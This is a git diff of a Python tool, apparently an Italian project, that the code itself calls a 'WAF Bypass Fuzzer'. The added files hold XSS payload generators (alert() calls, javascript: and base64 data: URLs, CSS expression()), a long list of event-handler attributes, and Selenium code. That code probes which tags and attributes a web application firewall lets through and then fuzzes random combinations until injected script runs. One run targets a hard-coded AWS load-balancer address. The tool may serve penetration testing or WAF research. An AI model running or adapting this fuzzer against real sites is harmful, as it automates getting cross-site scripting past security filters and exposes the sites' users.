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4 Commits

Author SHA1 Message Date
negentropy 5e615cc189 updated fuzzing logic 2023-10-26 21:21:10 +02:00
negentropy a6c0c62cc9 Merge branch 'dl-dev' into neg-dev
merge branch dl-dev in neg-dev per allineamento codice
2023-10-25 11:52:55 +02:00
Daniele Linguaglossa 196ffdcd4f completed tag class def 2023-10-25 11:25:41 +02:00
Daniele Linguaglossa 9e0ea55f29 added some stuff 2023-10-24 17:49:07 +02:00
5 changed files with 606 additions and 23 deletions

1
.gitignore vendored
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@ -1,2 +1,3 @@
venv
chromedriver*
__pycache__/

64
language.py Normal file
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@ -0,0 +1,64 @@
from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url
class HTMLTag:
def __init__(self, name, self_closing=False):
self.name = name
self.self_closing = self_closing
self.attributes = []
self.children = []
def __str__(self) -> str:
tag = ""
if self.self_closing:
tag = f"<{self.name} "
for attr in self.attributes:
tag += f"{attr} "
tag += "/>"
else:
tag = f"<{self.name}"
for attr in self.attributes:
tag += f"{attr} "
tag += ">"
for child in self.children:
tag += f"{child}"
tag += f"</{self.name}>"
return tag
class HTMLTagAttributeType:
TypeText = 0
TypeBoolean = 1
TypeNumber = 2
TypeColor = 3
TypeJavascript = 4
TypeStlye = 5
TypeURL = 6
TypeEmail = 7
TypeDate = 8
Generators = {
HTMLTagAttributeType.TypeText: gen_text,
HTMLTagAttributeType.TypeBoolean: gen_boolean,
HTMLTagAttributeType.TypeNumber: gen_number,
HTMLTagAttributeType.TypeColor: gen_color,
HTMLTagAttributeType.TypeJavascript: gen_javascript,
HTMLTagAttributeType.TypeStlye: gen_style,
HTMLTagAttributeType.TypeURL: gen_url,
HTMLTagAttributeType.TypeEmail: gen_email,
HTMLTagAttributeType.TypeDate: gen_date,
}
class HTMLAttribute:
def __init__(self, name, value_type):
self.name = name
self.kind = value_type
self.value = Generators[value_type]()
def __str__(self) -> str:
if not self.value:
return self.name
else:
return f'{self.name}="{self.value}"'

122
language_utils.py Normal file
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@ -0,0 +1,122 @@
from random import randint
def gen_text():
cases = {
0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60',
2: lambda: '"confirm\x600\x60"',
3: lambda: 'window["alert"](0)',
4: lambda: 'window["prompt"](0)',
5: lambda: 'window["confirm"](0)',
6: lambda: '"alert\x600\x60"',
7: lambda: '"prompt\x600\x60"',
8: lambda: '"alert(1)"',
}
return cases[randint(0, 8)]()
def gen_boolean():
cases = {
0: lambda: 'true',
1: lambda: 'false',
2: lambda: '1',
3: lambda: '0',
4: lambda: 'null',
5: lambda: 'undefined',
6: lambda: '""',
7: lambda: '[]',
8: lambda: '{}',
}
return cases[randint(0, 8)]()
def gen_number():
cases = {
0: lambda: '0',
1: lambda: '1',
2: lambda: '0.1',
3: lambda: '1.1',
4: lambda: '0x1',
5: lambda: '0b1',
6: lambda: '0o1',
7: lambda: '1e1',
8: lambda: '1e-1',
}
return cases[randint(0, 8)]()
def gen_color():
cases = {
0: lambda: '#000000',
1: lambda: '#ffffff',
2: lambda: '#ff0000',
3: lambda: '#00ff00',
4: lambda: '#0000ff',
5: lambda: '#ffff00',
6: lambda: '#00ffff',
7: lambda: '#ff00ff',
8: lambda: '#c0c0c0',
}
return cases[randint(0, 8)]()
def gen_javascript():
cases = {
0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60',
2: lambda: '"confirm\x600\x60"',
3: lambda: 'window["alert"](0)',
4: lambda: 'window["prompt"](0)',
5: lambda: 'window["confirm"](0)',
6: lambda: '"alert\x600\x60"',
7: lambda: '"prompt\x600\x60"',
8: lambda: '"alert(1)"',
9: lambda: 'console.log(alert(1))//',
10: lambda: 'console.log(alert(1))/*',
11: lambda: '{1:alert(1)}',
}
return cases[randint(0, 11)]()
def gen_style():
# xss via style
cases = {
0: lambda: 'background-image:url("javascript:alert(1)")',
1: lambda: 'expression(alert(1))',
2: lambda: 'expression\x600\x60',
}
return cases[randint(0, 2)]()
def gen_url():
# xss via url
cases = {
0: lambda: 'javascript:alert(1)',
1: lambda: 'data:text/html,<script>alert(1)</script>',
2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
}
return cases[randint(0, 3)]()
def gen_email():
# xss via email
cases = {
0: lambda: '@javascript:alert(1)',
1: lambda: 'javascript:alert(1)@',
2: lambda: '@javascript:alert\x600\x60',
}
return cases[randint(0, 3)]()
def gen_date():
return ''

248
tags.py Normal file
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@ -0,0 +1,248 @@
from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
Tags = [
HTMLTag('a', self_closing=False),
HTMLTag('abbr', self_closing=False),
HTMLTag('acronym', self_closing=False),
HTMLTag('address', self_closing=False),
HTMLTag('applet', self_closing=False),
HTMLTag('area', self_closing=True),
HTMLTag('article', self_closing=False),
HTMLTag('aside', self_closing=False),
HTMLTag('audio', self_closing=False),
HTMLTag('b', self_closing=False),
HTMLTag('base', self_closing=True),
HTMLTag('basefont', self_closing=False),
HTMLTag('bdi', self_closing=False),
HTMLTag('bdo', self_closing=False),
HTMLTag('big', self_closing=False),
HTMLTag('blockquote', self_closing=False),
HTMLTag('body', self_closing=False),
HTMLTag('br', self_closing=True),
HTMLTag('button', self_closing=False),
HTMLTag('canvas', self_closing=False),
HTMLTag('caption', self_closing=False),
HTMLTag('center', self_closing=False),
HTMLTag('cite', self_closing=False),
HTMLTag('code', self_closing=False),
HTMLTag('col', self_closing=True),
HTMLTag('colgroup', self_closing=False),
HTMLTag('data', self_closing=False),
HTMLTag('datalist', self_closing=False),
HTMLTag('dd', self_closing=False),
HTMLTag('del', self_closing=False),
HTMLTag('details', self_closing=False),
HTMLTag('dfn', self_closing=False),
HTMLTag('dialog', self_closing=False),
HTMLTag('dir', self_closing=False),
HTMLTag('div', self_closing=False),
HTMLTag('dl', self_closing=False),
HTMLTag('dt', self_closing=False),
HTMLTag('em', self_closing=False),
HTMLTag('embed', self_closing=True),
HTMLTag('fieldset', self_closing=False),
HTMLTag('figcaption', self_closing=False),
HTMLTag('figure', self_closing=False),
HTMLTag('font', self_closing=False),
HTMLTag('footer', self_closing=False),
HTMLTag('form', self_closing=False),
HTMLTag('frame', self_closing=True),
HTMLTag('frameset', self_closing=False),
HTMLTag('h1', self_closing=False),
HTMLTag('h2', self_closing=False),
HTMLTag('h3', self_closing=False),
HTMLTag('h4', self_closing=False),
HTMLTag('h5', self_closing=False),
HTMLTag('h6', self_closing=False),
HTMLTag('head', self_closing=False),
HTMLTag('header', self_closing=False),
HTMLTag('hr', self_closing=True),
HTMLTag('html', self_closing=False),
HTMLTag('i', self_closing=False),
HTMLTag('iframe', self_closing=False),
HTMLTag('img', self_closing=True),
HTMLTag('input', self_closing=True),
HTMLTag('ins', self_closing=False),
HTMLTag('kbd', self_closing=False),
HTMLTag('label', self_closing=False),
HTMLTag('legend', self_closing=False),
HTMLTag('li', self_closing=False),
HTMLTag('link', self_closing=True),
HTMLTag('main', self_closing=False),
HTMLTag('map', self_closing=False),
HTMLTag('mark', self_closing=False),
HTMLTag('meta', self_closing=True),
HTMLTag('meter', self_closing=False),
HTMLTag('nav', self_closing=False),
HTMLTag('noframes', self_closing=False),
HTMLTag('noscript', self_closing=False),
HTMLTag('object', self_closing=False),
HTMLTag('ol', self_closing=False),
HTMLTag('optgroup', self_closing=False),
HTMLTag('option', self_closing=False),
HTMLTag('output', self_closing=False),
HTMLTag('p', self_closing=False),
HTMLTag('param', self_closing=True),
HTMLTag('picture', self_closing=False),
HTMLTag('pre', self_closing=False),
HTMLTag('progress', self_closing=False),
HTMLTag('q', self_closing=False),
HTMLTag('rp', self_closing=False),
HTMLTag('rt', self_closing=False),
HTMLTag('ruby', self_closing=False),
HTMLTag('s', self_closing=False),
HTMLTag('samp', self_closing=False),
HTMLTag('script', self_closing=False),
HTMLTag('section', self_closing=False),
HTMLTag('select', self_closing=False),
HTMLTag('small', self_closing=False),
HTMLTag('source', self_closing=True),
HTMLTag('span', self_closing=False),
HTMLTag('strike', self_closing=False),
HTMLTag('strong', self_closing=False),
HTMLTag('style', self_closing=False),
HTMLTag('sub', self_closing=False),
HTMLTag('summary', self_closing=False),
HTMLTag('sup', self_closing=False),
HTMLTag('svg', self_closing=False),
HTMLTag('table', self_closing=False),
HTMLTag('tbody', self_closing=False),
HTMLTag('td', self_closing=False),
HTMLTag('template', self_closing=False),
HTMLTag('textarea', self_closing=False),
HTMLTag('tfoot', self_closing=False),
HTMLTag('th', self_closing=False),
HTMLTag('thead', self_closing=False),
HTMLTag('time', self_closing=False),
HTMLTag('title', self_closing=False),
HTMLTag('tr', self_closing=False),
HTMLTag('track', self_closing=True),
HTMLTag('tt', self_closing=False),
HTMLTag('u', self_closing=False),
HTMLTag('ul', self_closing=False),
HTMLTag('var', self_closing=False),
HTMLTag('video', self_closing=False),
HTMLTag('wbr', self_closing=True),
HTMLTag('xmp', self_closing=False),
]
Attributes = [
# events
HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforescriptexecute',
HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onmozfullscreenchange',
HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onwebkitanimationiteration',
HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onwebkitanimationstart',
HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onwebkittransitionend',
HTMLTagAttributeType.TypeJavascript),
HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript),
]

190
xzzuf.py
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@ -6,24 +6,89 @@ from selenium.webdriver.support.ui import WebDriverWait
from urllib.parse import urlparse
from urllib.parse import urlencode
from tags import Attributes
from tags import Tags
import random
import argparse
# WAFBypass class
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
t = HTMLTag("form")
i = HTMLTag("input", self_closing=True)
i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText))
t.children.append(i)
print(t)
class WAFBypass():
# Script JS per sovrascrivere la funzione alert nativa di JS.
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
def __init__(self, url) -> None:
"""
Inizializzazione webdriver e controllo connessione all'URL.
"""
self.options = webdriver.ChromeOptions()
self.options.add_argument('--no-sandbox')
self.options.add_argument('--headless')
self.driver = webdriver.Chrome(options=self.options)
self.url = urlparse(url)
# Liste di attributi e tag non filtrati
self.unfiltered_attributes = list()
self.unfiltered_tags = list()
if not self.check_connection():
raise Exception("Connection Error")
# Inietta il codice in ogni nuova pagina
self.driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
def identify_unfiltered_attributes(self):
"""
Identifica gli attributi che non sono filtrati dal WAF.
"""
print("[*] Identifying unfiltered attributes:")
try:
for attr in Attributes:
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
print(f" [+] {attr.name}")
self.unfiltered_attributes.append(attr)
except KeyboardInterrupt:
self.driver.close()
exit(0)
def identify_unfiltered_tags(self):
"""
Identifica i tag che non sono filtrati dal WAF
"""
print("[*] Identifying unfiltered tags:")
try:
for tag_obj in Tags: #TODO aggiungere lista tag
tag_str = f"<{tag_obj.name}></{tag_obj.name}>" if not tag_obj.self_closing else f"<{tag_obj.name}/>"
encoded = urlencode({"param2": tag_str})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
print(f" [+] {tag_obj.name}")
self.unfiltered_tags.append(tag_obj)
except KeyboardInterrupt:
self.driver.close()
exit(0)
def check_connection(self):
"""
Verifica della possibilità di connessione all'URL.
"""
try:
self.driver.get(self.url.geturl())
return True
@ -31,6 +96,9 @@ class WAFBypass():
return False
def wait_for_pageload(self):
"""
Delay per attendere che la pagina web sia completamente caricata.
"""
try:
WebDriverWait(self.driver, 4).until(
lambda driver: driver.execute_script("return document.readyState") == "complete")
@ -38,53 +106,133 @@ class WAFBypass():
raise Exception("Page Load Error")
def get_page_title(self):
"""
Ritorna il titolo della pagina corrente
"""
return self.driver.title
@property
def is_403(self):
"""
Verifica se la pagina è 403 analizzando il titolo.
"""
return self.driver.title == "403 Forbidden"
@property
def triggered_xss(self):
"""
Verifica se l'XSS è stato eseguito.
"""
return self.driver.execute_script("return window.alert_trigger")
def navigate(self, url):
"""
Naviga verso un URL specifico e controlla se si verifica un errore 403 o un'esecuzione di XSS.
"""
self.driver.get(url)
self.wait_for_pageload()
bypass = False
is403 = False
if self.is_403:
bypass = False
is403 = True
else:
bypass = True
is403 = False
bypass = bypass and self.triggered_xss
triggerxss = self.triggered_xss
return bypass
return (is403, triggerxss)
def run_fuzz(self):
payloads = [
"<svg{FUZZ}onload=alert(0)>",
"<svg\{FUZZ}onload=alert(0)>",
"\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
"""<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
]
"""
Fuzzing solo su attributi non filtrati.
"""
print("[*] Start fuzzing:")
try:
for i in range(0, 0x10FFFF):
for p in payloads:
encoded = urlencode(
{"param2": p.replace("{FUZZ}", chr(i))})
print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
for attr in self.unfiltered_attributes:
# print(f"[*] Testing {attr.name} attribute {attr}")
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
bypassed = self.navigate(url)
if bypassed:
print("Bypassed with payload: ", encoded)
break
# print(url)
_, trigger = self.navigate(url)
except KeyboardInterrupt:
self.driver.close()
exit(0)
def run_fuzz2(self, num_iterations=100000):
"""
Esegue un fuzzing personalizzato utilizzando solo tag e attributi che non sono stati filtrati.
"""
print("\n[*] Start fuzzing:")
try:
for _ in range(num_iterations):
tag_obj = random.choice(self.unfiltered_tags)
attr = random.choice(self.unfiltered_attributes)
# Genera numero random di figli (child) e attributi per ciascun figlio
num_child = random.randint(5, 10)
children = []
for _ in range(num_child):
child_tag = random.choice(self.unfiltered_tags)
child_attr = random.choice(self.unfiltered_attributes)
if child_tag.self_closing:
children.append(f"<{child_tag.name} {child_attr}/>")
else:
children.append(f"<{child_tag.name} {child_attr}></{child_tag.name}>")
# Crea la stringa del tag HTML
if tag_obj.self_closing:
tag_str = f"<{tag_obj.name} {attr}/>"
else:
child_str = ''.join(children)
tag_str = f"<{tag_obj.name} {attr}>{child_str}</{tag_obj.name}>"
# Codifica e invia la richiesta
encoded = urlencode({"param2": tag_str})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, triggered = self.navigate(url)
if not is403 and triggered:
print(f"[*] Bypass found: {tag_str}")
# if args.link:
print(f" {url}")
except KeyboardInterrupt:
self.driver.close()
exit(0)
# Creazione dell'istanza della classe.
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
w.run_fuzz()
# Avvio identificazione di attributi e tag validi
w.identify_unfiltered_attributes()
w.identify_unfiltered_tags()
w.run_fuzz2()
'''
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="WAF Bypass Fuzzer")
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-p', '--param', required=True, help='Target Parameter')
parser.add_argument('-i', '--iterations', type=int, help='Number of iterations (default: infinite)')
parser.add_argument('-l', '--link', action='store_true', help='Provide full request link')
args = parser.parse_args()
w = WAFBypass(args.url)
if args.iterations:
w.run_fuzz2(num_iterations=args.iterations)
else:
# loop infinito se '-i' non è specificato
while True:
w.identify_unfiltered_attributes()
w.identify_unfiltered_tags()
w.run_fuzz2()
'''